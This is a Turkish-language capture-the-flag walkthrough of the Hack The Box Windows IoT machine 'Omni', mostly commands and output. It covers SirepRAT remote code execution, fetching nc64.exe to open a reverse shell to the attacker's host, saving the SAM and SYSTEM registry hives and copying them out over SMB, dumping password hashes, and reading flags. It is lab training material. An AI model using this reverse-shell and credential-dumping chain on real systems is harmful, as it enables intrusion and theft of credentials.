| Makine Adı | Seviye | OS | Logo |
|---|---|---|---|
| Omni – HTB | Orta | Windows |  |
Walkthrough
nmap taraması ile başlayalım.
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
5985/tcp open vsman Microsoft IIS httpd
8080/tcp open proxy Microsoft IIS httpd
|_http-server-header: Microsoft-HTTPAPI/2.0
29817/tcp open unknown
29819/tcp open arcserve ARCserve Discovery
29820/tcp open unknown
Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windowsİnternette yaptığım araştırmalar sonucu makinede bir Windows IOT olduğunu anladım (8080’e gittiğimde bana bir pop-up çıkartıyordu burdaki kelimeleri google’ladım) ve bununla ilgili araştırmalar yaparken SirepRAT isimli bir github projesi buldum.
┌──(root💀kali)-[~/oscp/htb/Omni]
└─# git clone https://github.com/kudayDOTsite/SirepRAT.git
Cloning into 'SirepRAT'...
remote: Enumerating objects: 217, done.
remote: Counting objects: 100% (156/156), done.
remote: Compressing objects: 100% (93/93), done.
remote: Total 217 (delta 104), reused 105 (delta 61), pack-reused 61
Receiving objects: 100% (217/217), 6.39 MiB | 629.00 KiB/s, done.
Resolving deltas: 100% (131/131), done.Denemelerim sonucu uzaktan kod yürütebildim.
┌──(root💀kali)-[~/oscp/htb/Omni/SirepRAT]
└─# python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "powershell" --args " hostname"
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 6, payload peek: 'b'omni\r\n''>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\x00\x00\x00\x00''>Bunun üzerine makineye nc.exe atmaya karar verdim böylece reverse alabilecektim. İlk olarak 32bit yolladım ancak daha sonrasında makinenin 64bit olduğunu anladım ve 64bit’lik bir exe yolladım. https://github.com/kudayDOTsite/nc.exe
┌──(root💀kali)-[~/oscp/htb/Omni/SirepRAT]┌──(root💀kali)-[~/oscp/htb/Omni/SirepRAT]
└─# python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "powershell" --args "Invoke-WebRequest -Uri http://10.10.14.5/nc64.exe -OutFile C:\\nc.exe"
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\x00\x00\x00\x00''>Makinede bütün kısıtlı powershell fonksiyonları vardı ancak Invoke-WebRequest çalışıyordu. Kendimde başlattığım web sunucusundan nc64.exe’yi makineye yükledim.
┌──(root💀kali)-[~/oscp/htb/Omni/SirepRAT]
└─# python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\\nc.exe -e cmd.exe 10.10.14.5 443"
<HResultResult | type: 1, payload length: 4, HResult: 0x0>Ve içerdeyiz.
┌──(root💀kali)-[~/oscp/htb/Omni/SirepRAT]
└─# nc -lvp 443 1 ⨯
listening on [any] 443 ...
10.10.10.204: inverse host lookup failed: Unknown host
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.204] 49682
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.
C:\windows\system32>Daha sonrasında PowerUp.ps1 scritini makieye atmaya karar verdim. Scipti aşağıdaki gibi, düzenleyim sonuna Invoke-AllChecks metodunu direkt olarak çağırmasını sağladım.
┌──(root💀kali)-[~/oscp/htb/Omni]
└─# tail PowerUp.ps1 1 ⨯
$Results | ConvertTo-HTML -Head $Header -Body "<H2>Encrypted Application Pool Passwords</H2>" | Out-File -Append $HtmlReportFile
}
"`n"
if($HTMLReport) {
"[*] Report written to '$HtmlReportFile' `n"
}
}
Invoke-AllChecks
PS C:\Windows\Temp> Invoke-WebRequest -Uri http://10.10.14.5/PowerUp.ps1 -OutFile C:\Windows\Temp\PowerUp.ps1
Invoke-WebRequest -Uri http://10.10.14.5/PowerUp.ps1 -OutFile C:\\PowerUp.ps1
PS C:\Windows\Temp> cd ..
cd ..
PS C:\Windows> cd ..
cd ..
PS C:\Windows\Temp> ./PowerUp.ps1
./PowerUp.ps1
[*] Running Invoke-AllChecks
[+] Current user already has local administrative privileges!
[*] Checking for unquoted service paths...
Get-WmiObject : The term 'Get-WmiObject' is not recognized as the name of a
cmdlet, function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and try again.
At C:\Windows\Temp\PowerUp.ps1:457 char:21
+ $VulnServices = Get-WmiObject -Class win32_service | Where-Object ...
+ ~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (Get-WmiObject:String) [], Comma
ndNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
[*] Checking service executable and argument permissions...
Get-WMIObject : The term 'Get-WMIObject' is not recognized as the name of a
cmdlet, function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and try again.
At C:\Windows\Temp\PowerUp.ps1:488 char:5
+ Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pat ...
+ ~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (Get-WMIObject:String) [], Comma
ndNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
[*] Checking service permissions...
Get-WmiObject : The term 'Get-WmiObject' is not recognized as the name of a
cmdlet, function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and try again.
At C:\Windows\Temp\PowerUp.ps1:534 char:17
+ $Services = Get-WmiObject -Class win32_service | Where-Object {$_ ...
+ ~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (Get-WmiObject:String) [], Comma
ndNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
[*] Checking %PATH% for potentially hijackable .dll locations...
HijackablePath : C:\windows\system32\
AbuseFunction : Write-HijackDll -OutputFile
'C:\windows\system32\\wlbsctrl.dll' -Command '...'
HijackablePath : C:\windows\
AbuseFunction : Write-HijackDll -OutputFile 'C:\windows\\wlbsctrl.dll'
-Command '...'
HijackablePath : C:\windows\System32\OpenSSH\
AbuseFunction : Write-HijackDll -OutputFile
'C:\windows\System32\OpenSSH\\wlbsctrl.dll' -Command '...'
HijackablePath : C:\windows\System32\Wbem\
AbuseFunction : Write-HijackDll -OutputFile
'C:\windows\System32\Wbem\\wlbsctrl.dll' -Command '...'
HijackablePath : C:\windows\System32\WindowsPowerShell\v1.0\
AbuseFunction : Write-HijackDll -OutputFile
'C:\windows\System32\WindowsPowerShell\v1.0\\wlbsctrl.dll'
-Command '...'
[*] Checking for AlwaysInstallElevated registry key...
[*] Checking for Autologon credentials in registry...
[*] Checking for vulnerable registry autoruns and configs...
[*] Checking for vulnerable schtask files/configs...
[*] Checking for unattended install files...
[*] Checking for encrypted web.config strings...
[*] Checking for encrypted application pool and virtual directory passwords...
PS C:\Windows\Temp> Zaten localadmin olduğumu söylüyordu. Ancak Flag’leri okuyabilmek için kullanıcıları ele geçirmem gerektiğini anladım.
PS C:\Windows\Temp> reg save hklm\sam sam.bkg
reg save hklm\sam sam.bkg
The operation completed successfully.
PS C:\Windows\Temp> reg save hklm\security security.bkg
reg save hklm\security security.bkg
The operation completed successfully.
PS C:\Windows\Temp> reg.exe save hklm\system system.bkg
reg.exe save hklm\system system.bkg
The operation completed successfully.sam, security ve system dosyalarını kali’me alabilmek için smb başlattım.
┌──(root💀kali)-[~/oscp/htb/Omni/hash]
└─# /usr/local/bin/smbserver.py KUDAY . -smb2support 1 ⨯
Impacket v0.9.24.dev1+20210720.100427.cd4fe47c - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsedPS C:\Windows\Temp> copy C:\Windows\Temp\sam.bkg \\10.10.14.5\KUDAY\sam
copy C:\Windows\Temp\sam.bkg \\10.10.14.5\KUDAY\sam
PS C:\Windows\Temp> copy C:\Windows\Temp\security.bkg \\10.10.14.5\KUDAY\security.bkg
copy C:\Windows\Temp\security.bkg \\10.10.14.5\KUDAY\security.bkg
PS C:\Windows\Temp> copy C:\Windows\Temp\system.bkg \\10.10.14.5\KUDAY\system.bkg
copy C:\Windows\Temp\system.bkg \\10.10.14.5\KUDAY\system.bkg
Daha sonrasında hashleri kırmayı denedim.
┌──(root💀kali)-[~/oscp/htb/Omni/hash]
└─# /usr/bin/impacket-secretsdump -sam sam -system system.bkg -security security.bkg LOCAL
Impacket v0.9.24.dev1+20210720.100427.cd4fe47c - Copyright 2021 SecureAuth Corporation
[*] Target system bootKey: 0x4a96b0f404fd37b862c07c2aa37853a5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a01f16a7fa376962dbeb29a764a06f00:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:330fe4fd406f9d0180d67adb0b0dfa65:::
sshd:1000:aad3b435b51404eeaad3b435b51404ee:91ad590862916cdfd922475caed3acea:::
DevToolsUser:1002:aad3b435b51404eeaad3b435b51404ee:1b9ce6c5783785717e9bbb75ba5f9958:::
app:1003:aad3b435b51404eeaad3b435b51404ee:e3cb0651718ee9b4faffe19a51faff95:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM
dpapi_machinekey:0xdc2beb4869328393b57ea9a28aeff84932c3e3ef
dpapi_userkey:0x6760a0b981e854b66007b33962764d5043f3d013
[*] NL$KM
0000 14 07 22 73 99 42 B0 ED F5 11 9A 60 FD A1 10 EF .."s.B.....`....
0010 DF 19 3C 6C 22 F2 92 0C 34 B1 6D 78 CC A7 0D 14 ..<l"...4.mx....
0020 02 7B 81 04 1E F6 1C 66 69 75 69 84 A7 31 53 26 .{.....fiui..1S&
0030 A3 6B A9 C9 BF 18 A8 EF 10 36 DB C2 CC 27 73 3D .k.......6...'s=
NL$KM:140722739942b0edf5119a60fda110efdf193c6c22f2920c34b16d78cca70d14027b81041ef61c6669756984a7315326a36ba9c9bf18a8ef1036dbc2cc27733d
[*] Cleaning up...
app kullanıcısını internette kırdım ancak diğer kullanıcıları kıramadım.
app:mesh5143Makinede bu kullanıcıya geçiş yapmam gerekiyordu wsman servisinin açık olmasına rağmen uzaktan bağlantı kuramadım. Bende makine içerisinde enum yapmaya devam ettim. Bu esnada ilginç bir şey farkettim. PING aracı localadmin hakları ile çalışıyrdu bu biraz tuhaf…
get-process -IncludeUserName | select Id, UserName, ProcessName, Path
Id UserName ProcessName
-- -------- -----------
2912 OMNI\DefaultAccount backgroundTaskHost
32 NT AUTHORITY\SYSTEM cmd
1412 NT AUTHORITY\SYSTEM cmd
1884 NT AUTHORITY\SYSTEM cmd
1928 NT AUTHORITY\SYSTEM cmd
2608 NT AUTHORITY\SYSTEM cmd
3676 NT AUTHORITY\SYSTEM cmd
1192 NT AUTHORITY\SYSTEM conhost
1196 NT AUTHORITY\SYSTEM conhost
2700 OMNI\DefaultAccount conhost
2892 NT AUTHORITY\SYSTEM conhost
3892 NT AUTHORITY\SYSTEM conhost
388 csrss
616 Window Manager\DWM-0 dwm
1920 NT AUTHORITY\SYSTEM ebootpinger
0 Idle
3144 OMNI\DefaultAccount IoTCoreDefaultApp
2692 OMNI\DefaultAccount IoTShell
516 NT AUTHORITY\SYSTEM lsass
2372 NT AUTHORITY\SYSTEM nc
3848 NT AUTHORITY\SYSTEM PING
1348 NT AUTHORITY\SYSTEM powershell
2592 NT AUTHORITY\SYSTEM powershell
3516 NT AUTHORITY\SYSTEM powershell
104 Registry
2556 OMNI\DefaultAccount RuntimeBroker
3552 OMNI\DefaultAccount RuntimeBroker
3728 OMNI\DefaultAccount RuntimeBroker
4040 NT AUTHORITY\SYSTEM SearchIndexer
496 services
2292 OMNI\DefaultAccount sihost
308 smss
360 NT AUTHORITY\SYSTEM svchost
624 NT AUTHORITY\SYSTEM svchost
732 NT AUTHORITY\NETWORK SERVICE svchost
832 NT AUTHORITY\SYSTEM svchost
840 NT AUTHORITY\LOCAL SERVICE svchost
852 NT AUTHORITY\LOCAL SERVICE svchost
952 NT AUTHORITY\SYSTEM svchost
980 NT AUTHORITY\LOCAL SERVICE svchost
1028 NT AUTHORITY\NETWORK SERVICE svchost
1204 NT AUTHORITY\LOCAL SERVICE svchost
1328 NT AUTHORITY\LOCAL SERVICE svchost
1336 NT AUTHORITY\LOCAL SERVICE svchost
1448 NT AUTHORITY\LOCAL SERVICE svchost
1708 NT AUTHORITY\SYSTEM svchost
1716 NT AUTHORITY\SYSTEM svchost
1740 NT AUTHORITY\SYSTEM svchost
1752 NT AUTHORITY\LOCAL SERVICE svchost
2312 OMNI\DefaultAccount svchost
2712 svchost
3296 NT AUTHORITY\SYSTEM svchost
4 System
1804 NT AUTHORITY\SYSTEM WebManagement
3012 OMNI\DefaultAccount WindowsInternal.ComposableShell.Experience...
456 wininit
660 NT AUTHORITY\LOCAL SERVICE WUDFHost
PS C:\Data\Users\administrator> get-process PING | select *
get-process PING | select *
HandleCount : 0
Name : PING
Id : 3172
PriorityClass : BelowNormal
FileVersion :
TotalProcessorTime : 00:00:00.0156250
SI : 0
Handles : 0
VM : 2203368640512
WS : 3055616
PM : 868352
NPM : 5328
Path : C:\windows\system32\PING.EXE
Company :
CPU : 0.015625
ProductVersion :
Description :
Product :
__NounName : Process
SafeHandle : Microsoft.Win32.SafeHandles.SafeProcessHandle
BasePriority : 6
ExitCode :
HasExited : False
ExitTime :
MachineName : .
MaxWorkingSet : 1413120
MinWorkingSet : 204800
Modules : {System.Diagnostics.ProcessModule (PING.EXE),
System.Diagnostics.ProcessModule (ntdll.dll),
System.Diagnostics.ProcessModule
(KERNELBASE.dll),
System.Diagnostics.ProcessModule (msvcrt.dll)...}
NonpagedSystemMemorySize64 : 5328
PagedMemorySize64 : 868352
PagedSystemMemorySize64 : 26120
PeakPagedMemorySize64 : 868352
PeakWorkingSet64 : 3059712
PeakVirtualMemorySize64 : 2203368640512
PriorityBoostEnabled : True
PrivateMemorySize64 : 868352
ProcessName : PING
ProcessorAffinity : 15
SessionId : 0
StartInfo :
Threads : {1832, 1700, 872, 592...}
VirtualMemorySize64 : 2203368640512
EnableRaisingEvents : False
StandardInput :
StandardOutput :
StandardError :
WorkingSet64 : 3055616
MainModule : System.Diagnostics.ProcessModule (PING.EXE)
PrivilegedProcessorTime : 00:00:00.0156250
StartTime : 8/9/2021 12:14:14 PM
UserProcessorTime : 00:00:00Makine içerisinde Scheduled Tasks olduğu çok belli. Daha iyi bir araştırma için https://github.com/azmatt/windowsEnum/blob/master/windowsEnum.bat bat dosyasını kullandım.
#####################################################
################## Scheduled Tasks
#####################################################
################## schtasks /query /fo LIST /v
Folder: \
HostName: omni
TaskName: \revert
Next Run Time: N/A
Status: Running
Logon Mode: Interactive/Background
Last Run Time: 8/8/2021 8:27:10 PM
Last Result: 267009
Author: OMNI\Administrator
Task To Run: C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At system start up
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Buradaki c.bat dosyasını okuyunca kullanıcı bilgilerini ele geçirdim.
PS C:\Data\Users\administrator> cat "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat"
cat "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat"
@echo off
:LOOP
for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete
net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz
ping -n 3 127.0.0.1
cls
GOTO :LOOP
:EXITArtık 8080’de çalışan uygulamaya login olabilirdim. Login olduktan sonra http://10.10.10.204:8080/#Run%20command adresinden komut çalıştırabildim. Zaten makinede yüklü olan nc64.exe ile reverse aldım. İlk reverse’ümü Administrator ile aldım.
┌──(root💀kali)-[~/oscp/htb/Omni/SirepRAT]
└─# nc -lvp 80 1 ⨯
listening on [any] 80 ...
10.10.10.204: inverse host lookup failed: Unknown host
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.204] 49674
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.
C:\windows\system32>cd C:\
cd C:\
C:\>dir "*user*.txt" /s /p
dir "*user*.txt" /s /p
Volume in drive C is MainOS
Volume Serial Number is 3C37-C677
Directory of C:\Data\Users\app
07/04/2020 09:53 PM 1,958 user.txt
1 File(s) 1,958 bytes
Total Files Listed:
1 File(s) 1,958 bytes
0 Dir(s) 583,110,656 bytes free
C:\>cd C:\Data\Users\app
cd C:\Data\Users\app
C:\Data\Users\app>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Data\Users\app> (Import-CliXml -Path user.txt).GetNetworkCredential().Password
(Import-CliXml -Path user.txt).GetNetworkCredential().Password
7cfd50f6bc34db3204898f1505ad9d70
Burdaki flagi okurken yardım aldığım sayfa: https://mcpmag.com/articles/2017/07/20/save-and-read-sensitive-data-with-powershell.aspx
Daha sonrasında app kullanıcısı ile reverse aldım.
┌──(root💀kali)-[~/oscp/htb/Omni/SirepRAT]
└─# nc -lvp 80 1 ⨯
listening on [any] 80 ...
10.10.10.204: inverse host lookup failed: Unknown host
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.204] 49675
Microsoft Windows [Version 10.0.17763.107]
Copyright (c) Microsoft Corporation. All rights reserved.
C:\windows\system32>cd C:\
cd C:\
C:\>dir "*root*txt" /s /p
dir "*root*txt" /s /p
Volume in drive C is MainOS
Volume Serial Number is 3C37-C677
Directory of C:\Data\Users\administrator
07/04/2020 09:48 PM 1,958 root.txt
1 File(s) 1,958 bytes
Total Files Listed:
1 File(s) 1,958 bytes
0 Dir(s) 583,110,656 bytes free
C:\>cd C:\Data\Users\administrator
cd C:\Data\Users\administrator
C:\Data\Users\administrator>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Data\Users\administrator> (Import-CliXml -Path root.txt).GetNetworkCredential().Password
(Import-CliXml -Path root.txt).GetNetworkCredential().Password
5dbdce5569e2c4708617c0ce6e9bf11d
PS C:\Data\Users\administrator>
İlk Yorumu Siz Yapın